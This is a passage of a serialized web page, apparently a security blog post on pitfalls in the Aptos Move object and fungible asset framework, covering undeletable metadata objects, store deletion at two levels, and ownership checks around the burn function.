deletion",{"type":25,"tag":34,"props":63953,"children":63954},{},[63955,63957,63963],{"type":31,"value":63956},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":25,"tag":115,"props":63958,"children":63960},{"className":63959},[],[63961],{"type":31,"value":63962},"fungible_asset::add_fungibility",{"type":31,"value":5997},{"type":25,"tag":191,"props":63965,"children":63967},{"className":4487,"code":63966,"language":4486,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[63968],{"type":25,"tag":115,"props":63969,"children":63970},{"__ignoreMap":7},[63971],{"type":25,"tag":201,"props":63972,"children":63973},{"class":203,"line":204},[63974,63978,63982,63986,63991,63995,64000,64004,64009,64014,64018,64022],{"type":25,"tag":201,"props":63975,"children":63976},{"style":214},[63977],{"type":31,"value":43056},{"type":25,"tag":201,"props":63979,"children":63980},{"style":220},[63981],{"type":31,"value":298},{"type":25,"tag":201,"props":63983,"children":63984},{"style":261},[63985],{"type":31,"value":4114},{"type":25,"tag":201,"props":63987,"children":63988},{"style":220},[63989],{"type":31,"value":63990},"object",{"type":25,"tag":201,"props":63992,"children":63993},{"style":261},[63994],{"type":31,"value":4988},{"type":25,"tag":201,"props":63996,"children":63997},{"style":214},[63998],{"type":31,"value":63999},"can_generate_delete_ref",{"type":25,"tag":201,"props":64001,"children":64002},{"style":220},[64003],{"type":31,"value":298},{"type":25,"tag":201,"props":64005,"children":64006},{"style":246},[64007],{"type":31,"value":64008},"constructor_ref",{"type":25,"tag":201,"props":64010,"children":64011},{"style":220},[64012],{"type":31,"value":64013},"), error",{"type":25,"tag":201,"props":64015,"children":64016},{"style":261},[64017],{"type":31,"value":4988},{"type":25,"tag":201,"props":64019,"children":64020},{"style":214},[64021],{"type":31,"value":63454},{"type":25,"tag":201,"props":64023,"children":64024},{"style":220},[64025],{"type":31,"value":64026},"(EOBJECT_IS_DELETABLE));\n",{"type":25,"tag":34,"props":64028,"children":64029},{},[64030,64032,64037,64039,64044,64045,64052],{"type":31,"value":64031},"This object serves as the foundation for ownership tokens in the form of a ",{"type":25,"tag":115,"props":64033,"children":64035},{"className":64034},[],[64036],{"type":31,"value":62591},{"type":31,"value":64038},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":25,"tag":115,"props":64040,"children":64042},{"className":64041},[],[64043],{"type":31,"value":63962},{"type":31,"value":7966},{"type":25,"tag":71,"props":64046,"children":64049},{"href":64047,"rel":64048},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[75],[64050],{"type":31,"value":64051},"lacked this assert",{"type":31,"value":64053},", which we discovered and reported.",{"type":25,"tag":34,"props":64055,"children":64056},{},[64057,64062,64064,64069,64071,64076],{"type":25,"tag":115,"props":64058,"children":64060},{"className":64059},[],[64061],{"type":31,"value":63962},{"type":31,"value":64063}," transfers the ",{"type":25,"tag":115,"props":64065,"children":64067},{"className":64066},[],[64068],{"type":31,"value":62650},{"type":31,"value":64070}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":25,"tag":115,"props":64072,"children":64074},{"className":64073},[],[64075],{"type":31,"value":62591},{"type":31,"value":64077}," can be minted, representing a share of ownership in that object.",{"type":25,"tag":191,"props":64079,"children":64081},{"className":4487,"code":64080,"language":4486,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[64082],{"type":25,"tag":115,"props":64083,"children":64084},{"__ignoreMap":7},[64085,64093,64113,64128,64155,64170,64191,64203,64215,64227,64239,64251,64263,64270,64277,64292],{"type":25,"tag":201,"props":64086,"children":64087},{"class":203,"line":204},[64088],{"type":25,"tag":201,"props":64089,"children":64090},{"style":4497},[64091],{"type":31,"value":64092},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":25,"tag":201,"props":64094,"children":64095},{"class":203,"line":226},[64096,64100,64104,64109],{"type":25,"tag":201,"props":64097,"children":64098},{"style":246},[64099],{"type":31,"value":62755},{"type":25,"tag":201,"props":64101,"children":64102},{"style":246},[64103],{"type":31,"value":7715},{"type":25,"tag":201,"props":64105,"children":64106},{"style":214},[64107],{"type":31,"value":64108}," add_fungibility",{"type":25,"tag":201,"props":64110,"children":64111},{"style":220},[64112],{"type":31,"value":4970},{"type":25,"tag":201,"props":64114,"children":64115},{"class":203,"line":278},[64116,64120,64124],{"type":25,"tag":201,"props":64117,"children":64118},{"style":220},[64119],{"type":31,"value":63798},{"type":25,"tag":201,"props":64121,"children":64122},{"style":261},[64123],{"type":31,"value":11095},{"type":25,"tag":201,"props":64125,"children":64126},{"style":220},[64127],{"type":31,"value":13274},{"type":25,"tag":201,"props":64129,"children":64130},{"class":203,"line":311},[64131,64135,64139,64143,64147,64151],{"type":25,"tag":201,"props":64132,"children":64133},{"style":220},[64134],{"type":31,"value":3073},{"type":25,"tag":201,"props":64136,"children":64137},{"style":261},[64138],{"type":31,"value":5997},{"type":25,"tag":201,"props":64140,"children":64141},{"style":4925},[64142],{"type":31,"value":62641},{"type":25,"tag":201,"props":64144,"children":64145},{"style":220},[64146],{"type":31,"value":1298},{"type":25,"tag":201,"props":64148,"children":64149},{"style":4925},[64150],{"type":31,"value":62650},{"type":25,"tag":201,"props":64152,"children":64153},{"style":220},[64154],{"type":31,"value":8790},{"type":25,"tag":201,"props":64156,"children":64157},{"class":203,"line":330},[64158,64162,64166],{"type":25,"tag":201,"props":64159,"children":64160},{"style":220},[64161],{"type":31,"value":63798},{"type":25,"tag":201,"props":64163,"children":64164},{"style":261},[64165],{"type":31,"value":11095},{"type":25,"tag":201,"props":64167,"children":64168},{"style":220},[64169],{"type":31,"value":13274},{"type":25,"tag":201,"props":64171,"children":64172},{"class":203,"line":397},[64173,64178,64182,64187],{"type":25,"tag":201,"props":64174,"children":64175},{"style":214},[64176],{"type":31,"value":64177},"    move_to",{"type":25,"tag":201,"props":64179,"children":64180},{"style":220},[64181],{"type":31,"value":298},{"type":25,"tag":201,"props":64183,"children":64184},{"style":246},[64185],{"type":31,"value":64186},"metadata_object_signer",{"type":25,"tag":201,"props":64188,"children":64189},{"style":220},[64190],{"type":31,"value":547},{"type":25,"tag":201,"props":64192,"children":64193},{"class":203,"line":437},[64194,64199],{"type":25,"tag":201,"props":64195,"children":64196},{"style":4925},[64197],{"type":31,"value":64198},"        Metadata",{"type":25,"tag":201,"props":64200,"children":64201},{"style":220},[64202],{"type":31,"value":327},{"type":25,"tag":201,"props":64204,"children":64205},{"class":203,"line":464},[64206,64211],{"type":25,"tag":201,"props":64207,"children":64208},{"style":246},[64209],{"type":31,"value":64210},"            name",{"type":25,"tag":201,"props":64212,"children":64213},{"style":220},[64214],{"type":31,"value":547},{"type":25,"tag":201,"props":64216,"children":64217},{"class":203,"line":490},[64218,64223],{"type":25,"tag":201,"props":64219,"children":64220},{"style":246},[64221],{"type":31,"value":64222},"            symbol",{"type":25,"tag":201,"props":64224,"children":64225},{"style":220},[64226],{"type":31,"value":547},{"type":25,"tag":201,"props":64228,"children":64229},{"class":203,"line":499},[64230,64235],{"type":25,"tag":201,"props":64231,"children":64232},{"style":246},[64233],{"type":31,"value":64234},"            decimals",{"type":25,"tag":201,"props":64236,"children":64237},{"style":220},[64238],{"type":31,"value":547},{"type":25,"tag":201,"props":64240,"children":64241},{"class":203,"line":522},[64242,64247],{"type":25,"tag":201,"props":64243,"children":64244},{"style":246},[64245],{"type":31,"value":64246},"            icon_uri",{"type":25,"tag":201,"props":64248,"children":64249},{"style":220},[64250],{"type":31,"value":547},{"type":25,"tag":201,"props":64252,"children":64253},{"class":203,"line":531},[64254,64259],{"type":25,"tag":201,"props":64255,"children":64256},{"style":246},[64257],{"type":31,"value":64258},"            project_uri",{"type":25,"tag":201,"props":64260,"children":64261},{"style":220},[64262],{"type":31,"value":547},{"type":25,"tag":201,"props":64264,"children":64265},{"class":203,"line":550},[64266],{"type":25,"tag":201,"props":64267,"children":64268},{"style":220},[64269],{"type":31,"value":4853},{"type":25,"tag":201,"props":64271,"children":64272},{"class":203,"line":563},[64273],{"type":25,"tag":201,"props":64274,"children":64275},{"style":220},[64276],{"type":31,"value":44730},{"type":25,"tag":201,"props":64278,"children":64279},{"class":203,"line":572},[64280,64284,64288],{"type":25,"tag":201,"props":64281,"children":64282},{"style":220},[64283],{"type":31,"value":423},{"type":25,"tag":201,"props":64285,"children":64286},{"style":261},[64287],{"type":31,"value":11095},{"type":25,"tag":201,"props":64289,"children":64290},{"style":220},[64291],{"type":31,"value":13274},{"type":25,"tag":201,"props":64293,"children":64294},{"class":203,"line":590},[64295],{"type":25,"tag":201,"props":64296,"children":64297},{"style":220},[64298],{"type":31,"value":1187},{"type":25,"tag":20292,"props":64300,"children":64301},{},[],{"type":25,"tag":34,"props":64303,"children":64304},{},[64305,64307,64312,64314,64319],{"type":31,"value":64306},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":25,"tag":115,"props":64308,"children":64310},{"className":64309},[],[64311],{"type":31,"value":63156},{"type":31,"value":64313}," is also an object, and a \"secondary\" ",{"type":25,"tag":115,"props":64315,"children":64317},{"className":64316},[],[64318],{"type":31,"value":63156},{"type":31,"value":64320}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":25,"tag":191,"props":64322,"children":64324},{"className":4487,"code":64323,"language":4486,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[64325],{"type":25,"tag":115,"props":64326,"children":64327},{"__ignoreMap":7},[64328,64336,64378,64385,64393],{"type":25,"tag":201,"props":64329,"children":64330},{"class":203,"line":204},[64331],{"type":25,"tag":201,"props":64332,"children":64333},{"style":4497},[64334],{"type":31,"value":64335},"//Fungible asset\n",{"type":25,"tag":201,"props":64337,"children":64338},{"class":203,"line":226},[64339,64343,64347,64352,64356,64361,64365,64369,64374],{"type":25,"tag":201,"props":64340,"children":64341},{"style":246},[64342],{"type":31,"value":62755},{"type":25,"tag":201,"props":64344,"children":64345},{"style":246},[64346],{"type":31,"value":7715},{"type":25,"tag":201,"props":64348,"children":64349},{"style":214},[64350],{"type":31,"value":64351}," remove_store",{"type":25,"tag":201,"props":64353,"children":64354},{"style":220},[64355],{"type":31,"value":298},{"type":25,"tag":201,"props":64357,"children":64358},{"style":246},[64359],{"type":31,"value":64360},"delete_ref",{"type":25,"tag":201,"props":64362,"children":64363},{"style":261},[64364],{"type":31,"value":5997},{"type":25,"tag":201,"props":64366,"children":64367},{"style":261},[64368],{"type":31,"value":8650},{"type":25,"tag":201,"props":64370,"children":64371},{"style":4925},[64372],{"type":31,"value":64373},"DeleteRef",{"type":25,"tag":201,"props":64375,"children":64376},{"style":220},[64377],{"type":31,"value":4666},{"type":25,"tag":201,"props":64379,"children":64380},{"class":203,"line":278},[64381],{"type":25,"tag":201,"props":64382,"children":64383},{"emptyLinePlaceholder":17},[64384],{"type":31,"value":496},{"type":25,"tag":201,"props":64386,"children":64387},{"class":203,"line":311},[64388],{"type":25,"tag":201,"props":64389,"children":64390},{"style":4497},[64391],{"type":31,"value":64392},"//Object\n",{"type":25,"tag":201,"props":64394,"children":64395},{"class":203,"line":330},[64396,64400,64404,64409,64413,64418,64422,64427],{"type":25,"tag":201,"props":64397,"children":64398},{"style":246},[64399],{"type":31,"value":62755},{"type":25,"tag":201,"props":64401,"children":64402},{"style":246},[64403],{"type":31,"value":7715},{"type":25,"tag":201,"props":64405,"children":64406},{"style":214},[64407],{"type":31,"value":64408}," delete",{"type":25,"tag":201,"props":64410,"children":64411},{"style":220},[64412],{"type":31,"value":298},{"type":25,"tag":201,"props":64414,"children":64415},{"style":208},[64416],{"type":31,"value":64417},"ref",{"type":25,"tag":201,"props":64419,"children":64420},{"style":261},[64421],{"type":31,"value":5997},{"type":25,"tag":201,"props":64423,"children":64424},{"style":4925},[64425],{"type":31,"value":64426}," DeleteRef",{"type":25,"tag":201,"props":64428,"children":64429},{"style":220},[64430],{"type":31,"value":4666},{"type":25,"tag":34,"props":64432,"children":64433},{},[64434,64436,64442,64444,64449,64451,64456,64458,64463,64465,64471,64473,64479,64481,64486],{"type":31,"value":64435},"When ",{"type":25,"tag":115,"props":64437,"children":64439},{"className":64438},[],[64440],{"type":31,"value":64441},"object::delete",{"type":31,"value":64443}," removes the ",{"type":25,"tag":115,"props":64445,"children":64447},{"className":64446},[],[64448],{"type":31,"value":49928},{"type":31,"value":64450}," from a ",{"type":25,"tag":115,"props":64452,"children":64454},{"className":64453},[],[64455],{"type":31,"value":63156},{"type":31,"value":64457}," object, the ",{"type":25,"tag":115,"props":64459,"children":64461},{"className":64460},[],[64462],{"type":31,"value":63156},{"type":31,"value":64464}," resource becomes permanently undeletable. This is because ",{"type":25,"tag":115,"props":64466,"children":64468},{"className":64467},[],[64469],{"type":31,"value":64470},"remove_store",{"type":31,"value":64472}," can't create an ",{"type":25,"tag":115,"props":64474,"children":64476},{"className":64475},[],[64477],{"type":31,"value":64478},"Object\u003CFungibleStore>",{"type":31,"value":64480}," without an ",{"type":25,"tag":115,"props":64482,"children":64484},{"className":64483},[],[64485],{"type":31,"value":49928},{"type":31,"value":64487}," underneath, causing the operation to fail.",{"type":25,"tag":191,"props":64489,"children":64491},{"className":4487,"code":64490,"language":4486,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[64492],{"type":25,"tag":115,"props":64493,"children":64494},{"__ignoreMap":7},[64495,64550,64602,64617],{"type":25,"tag":201,"props":64496,"children":64497},{"class":203,"line":204},[64498,64502,64506,64510,64514,64518,64522,64526,64530,64534,64538,64542,64546],{"type":25,"tag":201,"props":64499,"children":64500},{"style":246},[64501],{"type":31,"value":62755},{"type":25,"tag":201,"props":64503,"children":64504},{"style":246},[64505],{"type":31,"value":7715},{"type":25,"tag":201,"props":64507,"children":64508},{"style":214},[64509],{"type":31,"value":64351},{"type":25,"tag":201,"props":64511,"children":64512},{"style":220},[64513],{"type":31,"value":298},{"type":25,"tag":201,"props":64515,"children":64516},{"style":246},[64517],{"type":31,"value":64360},{"type":25,"tag":201,"props":64519,"children":64520},{"style":261},[64521],{"type":31,"value":5997},{"type":25,"tag":201,"props":64523,"children":64524},{"style":261},[64525],{"type":31,"value":8650},{"type":25,"tag":201,"props":64527,"children":64528},{"style":4925},[64529],{"type":31,"value":64373},{"type":25,"tag":201,"props":64531,"children":64532},{"style":220},[64533],{"type":31,"value":385},{"type":25,"tag":201,"props":64535,"children":64536},{"style":246},[64537],{"type":31,"value":7852},{"type":25,"tag":201,"props":64539,"children":64540},{"style":220},[64541],{"type":31,"value":4088},{"type":25,"tag":201,"props":64543,"children":64544},{"style":261},[64545],{"type":31,"value":11095},{"type":25,"tag":201,"props":64547,"children":64548},{"style":220},[64549],{"type":31,"value":62846},{"type":25,"tag":201,"props":64551,"children":64552},{"class":203,"line":226},[64553,64557,64561,64565,64569,64573,64577,64582,64586,64590,64594,64598],{"type":25,"tag":201,"props":64554,"children":64555},{"style":208},[64556],{"type":31,"value":4508},{"type":25,"tag":201,"props":64558,"children":64559},{"style":246},[64560],{"type":31,"value":7340},{"type":25,"tag":201,"props":64562,"children":64563},{"style":261},[64564],{"type":31,"value":413},{"type":25,"tag":201,"props":64566,"children":64567},{"style":261},[64568],{"type":31,"value":8650},{"type":25,"tag":201,"props":64570,"children":64571},{"style":220},[64572],{"type":31,"value":63990},{"type":25,"tag":201,"props":64574,"children":64575},{"style":261},[64576],{"type":31,"value":4988},{"type":25,"tag":201,"props":64578,"children":64579},{"style":246},[64580],{"type":31,"value":64581},"object_from_delete_ref",{"type":25,"tag":201,"props":64583,"children":64584},{"style":220},[64585],{"type":31,"value":1298},{"type":25,"tag":201,"props":64587,"children":64588},{"style":4925},[64589],{"type":31,"value":63156},{"type":25,"tag":201,"props":64591,"children":64592},{"style":220},[64593],{"type":31,"value":9120},{"type":25,"tag":201,"props":64595,"children":64596},{"style":246},[64597],{"type":31,"value":64360},{"type":25,"tag":201,"props":64599,"children":64600},{"style":220},[64601],{"type":31,"value":308},{"type":25,"tag":201,"props":64603,"children":64604},{"class":203,"line":278},[64605,64609,64613],{"type":25,"tag":201,"props":64606,"children":64607},{"style":220},[64608],{"type":31,"value":63798},{"type":25,"tag":201,"props":64610,"children":64611},{"style":261},[64612],{"type":31,"value":11095},{"type":25,"tag":201,"props":64614,"children":64615},{"style":220},[64616],{"type":31,"value":13274},{"type":25,"tag":201,"props":64618,"children":64619},{"class":203,"line":311},[64620],{"type":25,"tag":201,"props":64621,"children":64622},{"style":220},[64623],{"type":31,"value":1187},{"type":25,"tag":34,"props":64625,"children":64626},{},[64627,64629,64634,64636,64642,64644,64649],{"type":31,"value":64628},"In addition, such \"deleted\" ",{"type":25,"tag":115,"props":64630,"children":64632},{"className":64631},[],[64633],{"type":31,"value":63156},{"type":31,"value":64635}," objects remain at least partially operable. For instance, ",{"type":25,"tag":115,"props":64637,"children":64639},{"className":64638},[],[64640],{"type":31,"value":64641},"fungible_asset::deposit",{"type":31,"value":64643}," does not check the ",{"type":25,"tag":115,"props":64645,"children":64647},{"className":64646},[],[64648],{"type":31,"value":49928},{"type":31,"value":64650}," existence.",{"type":25,"tag":40,"props":64652,"children":64654},{"id":64653},"ownership",[64655],{"type":31,"value":64656},"Ownership",{"type":25,"tag":34,"props":64658,"children":64659},{},[64660,64662,64667,64669,64675,64677,64682],{"type":31,"value":64661},"Each object has an owner. Fungible assets rely on the ",{"type":25,"tag":115,"props":64663,"children":64665},{"className":64664},[],[64666],{"type":31,"value":49928},{"type":31,"value":64668}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":25,"tag":115,"props":64670,"children":64672},{"className":64671},[],[64673],{"type":31,"value":64674},"object::owns",{"type":31,"value":64676}," to confirm ownership of the ",{"type":25,"tag":115,"props":64678,"children":64680},{"className":64679},[],[64681],{"type":31,"value":63156},{"type":31,"value":51254},{"type":25,"tag":191,"props":64684,"children":64686},{"className":4487,"code":64685,"language":4486,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[64687],{"type":25,"tag":115,"props":64688,"children":64689},{"__ignoreMap":7},[64690,64738,64762,64789,64809,64837,64905,64920],{"type":25,"tag":201,"props":64691,"children":64692},{"class":203,"line":204},[64693,64697,64701,64705,64709,64713,64718,64722,64726,64730,64734],{"type":25,"tag":201,"props":64694,"children":64695},{"style":214},[64696],{"type":31,"value":62755},{"type":25,"tag":201,"props":64698,"children":64699},{"style":220},[64700],{"type":31,"value":298},{"type":25,"tag":201,"props":64702,"children":64703},{"style":246},[64704],{"type":31,"value":8607},{"type":25,"tag":201,"props":64706,"children":64707},{"style":220},[64708],{"type":31,"value":385},{"type":25,"tag":201,"props":64710,"children":64711},{"style":246},[64712],{"type":31,"value":8616},{"type":25,"tag":201,"props":64714,"children":64715},{"style":246},[64716],{"type":31,"value":64717}," withdraw_sanity_check",{"type":25,"tag":201,"props":64719,"children":64720},{"style":220},[64721],{"type":31,"value":1298},{"type":25,"tag":201,"props":64723,"children":64724},{"style":4925},[64725],{"type":31,"value":7496},{"type":25,"tag":201,"props":64727,"children":64728},{"style":261},[64729],{"type":31,"value":5997},{"type":25,"tag":201,"props":64731,"children":64732},{"style":246},[64733],{"type":31,"value":7440},{"type":25,"tag":201,"props":64735,"children":64736},{"style":220},[64737],{"type":31,"value":8097},{"type":25,"tag":201,"props":64739,"children":64740},{"class":203,"line":226},[64741,64746,64750,64754,64758],{"type":25,"tag":201,"props":64742,"children":64743},{"style":246},[64744],{"type":31,"value":64745},"    owner",{"type":25,"tag":201,"props":64747,"children":64748},{"style":261},[64749],{"type":31,"value":5997},{"type":25,"tag":201,"props":64751,"children":64752},{"style":261},[64753],{"type":31,"value":8650},{"type":25,"tag":201,"props":64755,"children":64756},{"style":246},[64757],{"type":31,"value":8655},{"type":25,"tag":201,"props":64759,"children":64760},{"style":220},[64761],{"type":31,"value":547},{"type":25,"tag":201,"props":64763,"children":64764},{"class":203,"line":278},[64765,64769,64773,64777,64781,64785],{"type":25,"tag":201,"props":64766,"children":64767},{"style":246},[64768],{"type":31,"value":30897},{"type":25,"tag":201,"props":64770,"children":64771},{"style":261},[64772],{"type":31,"value":5997},{"type":25,"tag":201,"props":64774,"children":64775},{"style":4925},[64776],{"type":31,"value":62641},{"type":25,"tag":201,"props":64778,"children":64779},{"style":220},[64780],{"type":31,"value":1298},{"type":25,"tag":201,"props":64782,"children":64783},{"style":4925},[64784],{"type":31,"value":7496},{"type":25,"tag":201,"props":64786,"children":64787},{"style":220},[64788],{"type":31,"value":7646},{"type":25,"tag":201,"props":64790,"children":64791},{"class":203,"line":311},[64792,64797,64801,64805],{"type":25,"tag":201,"props":64793,"children":64794},{"style":246},[64795],{"type":31,"value":64796},"    abort_on_dispatch",{"type":25,"tag":201,"props":64798,"children":64799},{"style":261},[64800],{"type":31,"value":5997},{"type":25,"tag":201,"props":64802,"children":64803},{"style":4925},[64804],{"type":31,"value":13552},{"type":25,"tag":201,"props":64806,"children":64807},{"style":220},[64808],{"type":31,"value":547},{"type":25,"tag":201,"props":64810,"children":64811},{"class":203,"line":330},[64812,64816,64820,64824,64828,64833],{"type":25,"tag":201,"props":64813,"children":64814},{"style":220},[64815],{"type":31,"value":385},{"type":25,"tag":201,"props":64817,"children":64818},{"style":246},[64819],{"type":31,"value":7852},{"type":25,"tag":201,"props":64821,"children":64822},{"style":4925},[64823],{"type":31,"value":63176},{"type":25,"tag":201,"props":64825,"children":64826},{"style":220},[64827],{"type":31,"value":919},{"type":25,"tag":201,"props":64829,"children":64830},{"style":4925},[64831],{"type":31,"value":64832},"DispatchFunctionStore",{"type":25,"tag":201,"props":64834,"children":64835},{"style":220},[64836],{"type":31,"value":327},{"type":25,"tag":201,"props":64838,"children":64839},{"class":203,"line":397},[64840,64844,64849,64853,64858,64862,64866,64870,64874,64878,64882,64886,64891,64895,64900],{"type":25,"tag":201,"props":64841,"children":64842},{"style":214},[64843],{"type":31,"value":63424},{"type":25,"tag":201,"props":64845,"children":64846},{"style":220},[64847],{"type":31,"value":64848},"(object",{"type":25,"tag":201,"props":64850,"children":64851},{"style":261},[64852],{"type":31,"value":4988},{"type":25,"tag":201,"props":64854,"children":64855},{"style":214},[64856],{"type":31,"value":64857},"owns",{"type":25,"tag":201,"props":64859,"children":64860},{"style":220},[64861],{"type":31,"value":298},{"type":25,"tag":201,"props":64863,"children":64864},{"style":246},[64865],{"type":31,"value":7449},{"type":25,"tag":201,"props":64867,"children":64868},{"style":220},[64869],{"type":31,"value":14438},{"type":25,"tag":201,"props":64871,"children":64872},{"style":261},[64873],{"type":31,"value":4988},{"type":25,"tag":201,"props":64875,"children":64876},{"style":214},[64877],{"type":31,"value":8718},{"type":25,"tag":201,"props":64879,"children":64880},{"style":220},[64881],{"type":31,"value":298},{"type":25,"tag":201,"props":64883,"children":64884},{"style":246},[64885],{"type":31,"value":17105},{"type":25,"tag":201,"props":64887,"children":64888},{"style":220},[64889],{"type":31,"value":64890},")), error",{"type":25,"tag":201,"props":64892,"children":64893},{"style":261},[64894],{"type":31,"value":4988},{"type":25,"tag":201,"props":64896,"children":64897},{"style":214},[64898],{"type":31,"value":64899},"permission_denied",{"type":25,"tag":201,"props":64901,"children":64902},{"style":220},[64903],{"type":31,"value":64904},"(ENOT_STORE_OWNER));\n",{"type":25,"tag":201,"props":64906,"children":64907},{"class":203,"line":437},[64908,64912,64916],{"type":25,"tag":201,"props":64909,"children":64910},{"style":220},[64911],{"type":31,"value":63798},{"type":25,"tag":201,"props":64913,"children":64914},{"style":261},[64915],{"type":31,"value":11095},{"type":25,"tag":201,"props":64917,"children":64918},{"style":220},[64919],{"type":31,"value":13274},{"type":25,"tag":201,"props":64921,"children":64922},{"class":203,"line":464},[64923],{"type":25,"tag":201,"props":64924,"children":64925},{"style":220},[64926],{"type":31,"value":1187},{"type":25,"tag":34,"props":64928,"children":64929},{},[64930,64932,64937,64939,64945,64947,64953],{"type":31,"value":64931},"The thing to note is that defining ownership with ",{"type":25,"tag":115,"props":64933,"children":64935},{"className":64934},[],[64936],{"type":31,"value":64674},{"type":31,"value":64938}," can be tricky. The ",{"type":25,"tag":115,"props":64940,"children":64942},{"className":64941},[],[64943],{"type":31,"value":64944},"burn",{"type":31,"value":64946}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":25,"tag":115,"props":64948,"children":64950},{"className":64949},[],[64951],{"type":31,"value":64952},"BURN_ADDRESS",{"type":31,"value":64954}," while bypassing transfer restrictions:",{"type":25,"tag":191,"props":64956,"children":64958},{"className":4487,"code":64957,"language":4486,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[64959],{"type":25,"tag":115,"props":64960,"children":64961},{"__ignoreMap":7},[64962,65059,65100,65150,65179,65229,65250],{"type":25,"tag":201,"props":64963,"children":64964},{"class":203,"line":204},[64965,64969,64973,64977,64982,64986,64990,64994,64998,65002,65006,65010,65014,65018,65022,65026,65030,65034,65038,65042,65046,65050,65055],{"type":25,"tag":201,"props":64966,"children":64967},{"style":246},[64968],{"type":31,"value":62755},{"type":25,"tag":201,"props":64970,"children":64971},{"style":246},[64972],{"type":31,"value":63722},{"type":25,"tag":201,"props":64974,"children":64975},{"style":246},[64976],{"type":31,"value":7715},{"type":25,"tag":201,"props":64978,"children":64979},{"style":246},[64980],{"type":31,"value":64981}," burn",{"type":25,"tag":201,"props":64983,"children":64984},{"style":220},[64985],{"type":31,"value":1298},{"type":25,"tag":201,"props":64987,"children":64988},{"style":4925},[64989],{"type":31,"value":7496},{"type":25,"tag":201,"props":64991,"children":64992},{"style":261},[64993],{"type":31,"value":5997},{"type":25,"tag":201,"props":64995,"children":64996},{"style":246},[64997],{"type":31,"value":7440},{"type":25,"tag":201,"props":64999,"children":65000},{"style":220},[65001],{"type":31,"value":9120},{"type":25,"tag":201,"props":65003,"children":65004},{"style":246},[65005],{"type":31,"value":17105},{"type":25,"tag":201,"props":65007,"children":65008},{"style":261},[65009],{"type":31,"value":5997},{"type":25,"tag":201,"props":65011,"children":65012},{"style":261},[65013],{"type":31,"value":8650},{"type":25,"tag":201,"props":65015,"children":65016},{"style":246},[65017],{"type":31,"value":8655},{"type":25,"tag":201,"props":65019,"children":65020},{"style":220},[65021],{"type":31,"value":919},{"type":25,"tag":201,"props":65023,"children":65024},{"style":246},[65025],{"type":31,"value":63990},{"type":25,"tag":201,"props":65027,"children":65028},{"style":261},[65029],{"type":31,"value":5997},{"type":25,"tag":201,"props":65031,"children":65032},{"style":4925},[65033],{"type":31,"value":62641},{"type":25,"tag":201,"props":65035,"children":65036},{"style":220},[65037],{"type":31,"value":1298},{"type":25,"tag":201,"props":65039,"children":65040},{"style":4925},[65041],{"type":31,"value":7496},{"type":25,"tag":201,"props":65043,"children":65044},{"style":220},[65045],{"type":31,"value":21943},{"type":25,"tag":201,"props":65047,"children":65048},{"style":246},[65049],{"type":31,"value":7852},{"type":25,"tag":201,"props":65051,"children":65052},{"style":4925},[65053],{"type":31,"value":65054}," ObjectCore",{"type":25,"tag":201,"props":65056,"children":65057},{"style":220},[65058],{"type":31,"value":327},{"type":25,"tag":201,"props":65060,"children":65061},{"class":203,"line":226},[65062,65066,65071,65075,65080,65084,65088,65092,65096],{"type":25,"tag":201,"props":65063,"children":65064},{"style":208},[65065],{"type":31,"value":4508},{"type":25,"tag":201,"props":65067,"children":65068},{"style":246},[65069],{"type":31,"value":65070}," original_owner",{"type":25,"tag":201,"props":65072,"children":65073},{"style":261},[65074],{"type":31,"value":413},{"type":25,"tag":201,"props":65076,"children":65077},{"style":220},[65078],{"type":31,"value":65079}," signer",{"type":25,"tag":201,"props":65081,"children":65082},{"style":261},[65083],{"type":31,"value":4988},{"type":25,"tag":201,"props":65085,"children":65086},{"style":214},[65087],{"type":31,"value":8718},{"type":25,"tag":201,"props":65089,"children":65090},{"style":220},[65091],{"type":31,"value":298},{"type":25,"tag":201,"props":65093,"children":65094},{"style":246},[65095],{"type":31,"value":17105},{"type":25,"tag":201,"props":65097,"children":65098},{"style":220},[65099],{"type":31,"value":308},{"type":25,"tag":201,"props":65101,"children":65102},{"class":203,"line":278},[65103,65107,65111,65116,65120,65124,65128,65133,65137,65141,65145],{"type":25,"tag":201,"props":65104,"children":65105},{"style":214},[65106],{"type":31,"value":63424},{"type":25,"tag":201,"props":65108,"children":65109},{"style":220},[65110],{"type":31,"value":298},{"type":25,"tag":201,"props":65112,"children":65113},{"style":214},[65114],{"type":31,"value":65115},"is_owner",{"type":25,"tag":201,"props":65117,"children":65118},{"style":220},[65119],{"type":31,"value":298},{"type":25,"tag":201,"props":65121,"children":65122},{"style":246},[65123],{"type":31,"v